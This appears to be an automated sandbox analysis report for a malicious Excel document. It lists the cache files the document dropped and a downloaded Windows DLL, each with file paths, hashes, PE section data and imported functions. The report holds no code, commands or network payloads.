c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	620 Bytes
MD5	dba3ca0f21eda8a73f581ca43a9d92b1
SHA1	7a827532680bc337984d3d99e3700fdfecf55e14
SHA256	3c2c5fb0e809713fd7c34287e51483046bb1e3b277d81590310ecb67f12db9ae
SSDeep	12:P8tZDXodxhsYP+cTotiC4I4DKVoAMeXWXntkzZ6mJNDK:gVKTJWcTciPI4UH/Gd6u
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	680 Bytes
MD5	6d5e4fc202b76a692f117d6396a477a7
SHA1	e1bbeaf780bf76e0e5341408250218cd7d03aa54
SHA256	37c67f1c2c3f15aae5592cf27c42dc0331f2496758dab2193d7e4f7c08b98c78
SSDeep	12:mDGKzLdnuqigjznPxfFzzUsAE+4BdFXJVcDWd5vyjFieaDSQgBc0D8RV6ThJWlvt:s1sqnJN31AE+4XH2Sd8jkesSQl0DI4he
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	640 Bytes
MD5	23acbcf49a07ff70ff0fe9903c70c52b
SHA1	256c3cba433649cc974c574b5903729a4b8a5ff6
SHA256	acae48fff5a84e4a1450e69f22901fbef72f7fdd697bcb07201a4e22904cff61
SSDeep	12:MotqQClRpt46x8qOSLq1gADu+mc4C4ro6PiEIKhc+TliUPFMy/M90PsHphJ7xX:/qZz46xKSea+iBlPiEI6HMFyUsMB7xX
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	740 Bytes
MD5	357f9a89dfdcd0012cb9f97bc32946d6
SHA1	e05702ccb82e97c3ba69f0a88870c5e3714a5c22
SHA256	fc7092800205440b2ccdadf6a025d70c983a2eeaadfb5997d80199f2390cdb42
SSDeep	12:BZjXUEE6lKxFvJFQn0ONPoxVHA8arkZbaXAXew7a1EfhTTK/7THvo5FR++:nj3cbFQn0zxVfaL+mype/vHwF++
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.09 KB
MD5	dcfe279280bb0e983bc9d8a1a1147d87
SHA1	4d725f91b27278b1df8bdb4a81b3062dd563a25d
SHA256	08bd9546c1600374b09009115e2545b20ebbcbada5961694580d8ffae9208571
SSDeep	24:niAfGXz3wrrfPUxKZEd2hQqAQ6JsrKmvtTKtPar1LtI4+y5EK+yh:nvGXzeqK42hQqAdJsrvBGPaJt4yL+o
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	680 Bytes
MD5	7cbc9aaf9f3ecaad9086f3c6e9fc7591
SHA1	f6e98c77acd0b93c4ada5ace93ab54f48d9914d4
SHA256	c1c1604c67382ee44fd7aef7592eaf4c8bef64e0746342714ab6971ab040a6a8
SSDeep	12:M9X3XUGrcOfLBVTE0QiP06VaYK3Xw4QvqwyMUZzzI3QJbji6POtf/e5rz3ddd31x:MpnUiLTEykYKnwzvqsUp83QBu6Pu/e5V
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	864 Bytes
MD5	f04fd7aea43593d7f049b3f5d0d4803f
SHA1	cf2f6ad906a5cf47cc126e296ef5c8efa4992b6b
SHA256	2515413adc270d95080780c9dbd2f30ced49e541f3bd24e4534d988faf45ab95
SSDeep	24:cBDY+aEeA+JGhLkWQwo1eVvFRr7w5O+S7m+MF3LtUU:4wEn+JGhzo1e/hwE7+V
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	804 Bytes
MD5	05f49150b161739c00509d1ffc853292
SHA1	a9d433e6aefb6f6d340ac50df5e1adb41a706db4
SHA256	09b6ea31657c6ddf2c54cc6c0c0348e740fae4c87118df9e01992e5d74808a56
SSDeep	12:gTskaTNSBt0B+eZjnf2DNqagjZvvOJRT7sp8w2xZySHYQMQ1CZ:jxTNSTQjf2D4adwWw2nyHjQe
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.09 KB
MD5	3cdb23247043d41863115683c82ad3d3
SHA1	6b445cb9f67f9513f136af58c8f13d8f9e2541eb
SHA256	537a2ffe5bc774bfdd03c9d8e9062c376ba3c1ba5b723f17ce2e679eef1105fe
SSDeep	24:jmHf6JDg2s8ff+rRmzduBw8nUZ8cflvuXFhElkkfsWV7r5l19EzXV:jmHfwDGO2rRkI5G8+vUulpJV7Nb9EzXV
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.13 KB
MD5	0e33df3be2ec5c971dd4ae621fe86665
SHA1	e7987439c94c688968011fb051adb5ef400dae7d
SHA256	62a78d0a2f70c7d3d74f989e0f73d09297d8ff418bbf4edbd47407366fa126a4
SSDeep	24:uVDw7WKHJmC6h2hFrSWtqVGuTtF4dfqZJSWSKAXMw:y/aH6huPOtFQCZ4KA8w
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.17 KB
MD5	666d820d667a22cda7463381be708c66
SHA1	45394c446284b12b8c1dbdc868cf51ef52c470ae
SHA256	760b213ccfd7854f3bddaa847ab739d773d1467fde38a2ab46f7798a3acba653
SSDeep	24:EW6DyhmAxGxoAqcBpdecnwnGPBwnwiacdU/VR6Ahi2/GYzpYBFoZ:TMpAbNYxddHY+6OV+opYvoZ
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	876 Bytes
MD5	bfe890f30491d5788154c48679c137cc
SHA1	84258d8ea1c74a2aa33935ccd09d087002ba205b
SHA256	9935ce28bdda01527e072b1a91f54864c3114a7a2c28814108a38e4802b9d6d5
SSDeep	24:KScOl7HVV3vRfCXCyflo9gn/HMiEmX38B9t2VHoK:FflD3vZC3fKiEmS9Y7
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	596 Bytes
MD5	3609f8893f5dfd8132c72c86f6d74f69
SHA1	48c8529a528b0547dd747a70a978bdf79c66664c
SHA256	64bfc22c1a60c4422810bc2213d085af70445f7963d465e191e64193d9de99a3
SSDeep	12:KJ8Fgma/Evug33hQwHWPi9RbEKnTS+5YkXakO4rVBj4m3wDX2blWp7DkW:1+r+l/G+PX3O4diX2RWdkW
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	604 Bytes
MD5	78d638b901b4d620db34664ab46c60fe
SHA1	a265828de16c939c2b3829935ba1fd2cce446cb8
SHA256	1ff04984fa857e8d74161687d62426922212008a5aac8da7a3a2c97c693bcc34
SSDeep	12:D83PebwSpmICDmdC4DyyBx3OMyoDO1ahTjK+XY:QeMSoIcyBwrgOCTjK+I
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.18 KB
MD5	76fdc409a96118cc79d3ca9e5e690a85
SHA1	f91c23179660f717914d1d591a1d1cd7916865a4
SHA256	8158f8c518a05abfefebd47f750577a03ec121a633a98d5a00e642e6c7f135f5
SSDeep	24:9gOL6SnI23fZNJM1rVeCMXLnfxsE7mlChhDupGnUVQl72PN2ddna:9gOLbnLZDM1re7nSH0hhDuxHwdna
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	840 Bytes
MD5	a4df7c4fdd35ca0656c382460525d87c
SHA1	c6a94210c14203eed22c549d032458c93d6b6e25
SHA256	cac3ccbfb8d040b2f9e7b0f7c5ebcaf85347b65d4b5f38bf8ed3bcae8c67854e
SSDeep	12:YUjN590U31AAeZ/81zDP222hJAi0kyxnZo+ATW4RShvY3brukTPXCcODL9:/jNb3SPk1HuJhdyxne96LhvICs67
ImpHash	-

44466.8866396991.dat

Downloaded File

Binary

»

Also Known As	C:\Users\RDhJ0CNFevzX\Drezd.red (Downloaded File) C:\Users\RDhJ0CNFevzX\Drezd1.red (Downloaded File) C:\Users\RDhJ0CNFevzX\Drezd2.red (Downloaded File) c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\44466.8866396991[1].dat (Downloaded File)
Parent File	analysis.pcap
MIME Type	application/vnd.microsoft.portable-executable
File Size	378.00 KB
MD5	7fd0fa5c43de164ea8fe6913e21c3d65
SHA1	0b1914ff51ee1b4861445a36d6294d85b1d3cd16
SHA256	182cef031bc77e5e5ac38ad2ad27e0eeb926fbba80f01857dfd019242adee5de
SSDeep	3072:Do6vBnby4Yx0XjFFzPQ0MslzERfQB24hLxBVi/b/9+PdpiWC35ol/uwfTuT2b2M+:vs6Xpq0H3Jhds/9+qC/zfTPLE
ImpHash	ef258cd2a69e4871222e8a6651dd9af8
Parser Error Remark	Static engine was unable to completely parse the analyzed file

PE Information

»

Image Base	0x10000000
Entry Point	0x10001000
Size Of Code	0x30a00
Size Of Initialized Data	0x1f600
File Type	FileType.dll
Subsystem	Subsystem.windows_gui
Machine Type	MachineType.i386
Compile Timestamp	2021-09-10 16:49:09+00:00

Sections (9)

»

Name	Virtual Address	Virtual Size	Raw Data Size	Raw Data Offset	Flags	Entropy
.text	0x10001000	0x3090c	0x30a00	0x400	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ	6.09
.edata	0x10032000	0x70	0x200	0x30e00	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	1.32
.data	0x10033000	0x2000	0x1400	0x31000	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0
.data	0x10035000	0xbf54	0xc000	0x32400	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.08
.rdatat	0x10041000	0x648	0x800	0x3e400	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	3.75
.rsrc	0x10042000	0x10bf4	0x10c00	0x3ec00	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	3.09
-	0x10053000	0x5000	0x5000	0x4f800	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0
-	0x10058000	0x5000	0x5000	0x54800	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0
-	0x1005d000	0x5000	0x5000	0x59800	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0

Imports (17)

»

kernel32.dll (6)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
GetProcAddress	-	0x10041030	0x41274	0x3e674	0x0
LoadLibraryA	-	0x10041034	0x41278	0x3e678	0x0
VirtualAlloc	-	0x10041038	0x4127c	0x3e67c	0x0
VirtualProtect	-	0x1004103c	0x41280	0x3e680	0x0
GetCurrentThread	-	0x10041040	0x41284	0x3e684	0x0
lstrcmpA	-	0x10041044	0x41288	0x3e688	0x0

user32.dll (3)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
SetWindowPos	-	0x100410a0	0x412e4	0x3e6e4	0x0
ShowCursor	-	0x100410a4	0x412e8	0x3e6e8	0x0
ShowWindow	-	0x100410a8	0x412ec	0x3e6ec	0x0

ole32.dll (8)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
CoCreateGuid	-	0x10041054	0x41298	0x3e698	0x0
OleUninitialize	-	0x10041058	0x4129c	0x3e69c	0x0
CoFreeUnusedLibraries	-	0x1004105c	0x412a0	0x3e6a0	0x0
CoGetCurrentProcess	-	0x10041060	0x412a4	0x3e6a4	0x0
CoGetCurrentLogicalThreadId	-	0x10041064	0x412a8	0x3e6a8	0x0
CoFileTimeNow	-	0x10041068	0x412ac	0x3e6ac	0x0
CoGetContextToken	-	0x1004106c	0x412b0	0x3e6b0	0x0
OleInitialize	-	0x10041070	0x412b4	0x3e6b4	0x0

gdi32.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
GdiGetBitmapBitsSize	-	0x10041018	0x4125c	0x3e65c	0x0

advapi32.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
SystemFunction003	-	0x10041000	0x41244	0x3e644	0x0

imagehlp.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
FindFileInPath	-	0x10041028	0x4126c	0x3e66c	0x0

msimg32.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
AlphaBlend	-	0x1004104c	0x41290	0x3e690	0x0

version.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
GetFileVersionInfoSizeA	-	0x100410b0	0x412f4	0x3e6f4	0x0

winmm.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
auxGetVolume	-	0x100410b8	0x412fc	0x3e6fc	0x0

winspool.drv (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
AddPortW	-	0x100410c0	0x41304	0x3e704	0x0

comctl32.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
GetEffectiveClientRect	-	0x10041008	0x4124c	0x3e64c	0x0

oledlg.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
OleUIPromptUserW	-	0x10041088	0x412cc	0x3e6cc	0x0

comdlg32.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
GetFileTitleA	-	0x10041010	0x41254	0x3e654	0x0

gdiplus.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
GdipImageSelectActiveFrame	-	0x10041020	0x41264	0x3e664	0x0

shell32.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
SHFileOperationA	-	0x10041090	0x412d4	0x3e6d4	0x0

shlwapi.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
SHRegSetUSValueA	-	0x10041098	0x412dc	0x3e6dc	0x0

oleaut32.dll (1)

»

API Name	Ordinal	IAT Address	Thunk RVA	Thunk Offset	Hint
SysAllocString	-	0x10041080	0x412c4	0x3e6c4	0x0

Exports (2)

»

Api name	EAT Address	Ordinal
GetClass	0x555f6	0x1
SetClass	0x3804d	0x2

0.JPG

Embedded File

Image

»

Parent File	C:\Users\RDhJ0CNFevzX\Desktop\3982ae3e61a6ba86d61bd8f017f6238cc9afeb08b785010d686716e8415b6a36.xlsx.xls
MIME Type	image/jpeg
File Size	83.67 KB
MD5	4f100e2cefed046b44ec799015b454ef
SHA1	5149e5d1b5212c77b3548914e9b47d67b4bea574
SHA256	d30b441ab0e88a1487f29a80d63e2a4865a3f5df7854fb8359b354397f807e2c
SSDeep	1536:wB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUw:Pc6EehCfCZpUHKGXbBKsiit
ImpHash	-

Remarks (1/1)

There are no files for this filter

There are no files in this analysis

Classifications

Threat Names

WHOIS Domain Information

Before

After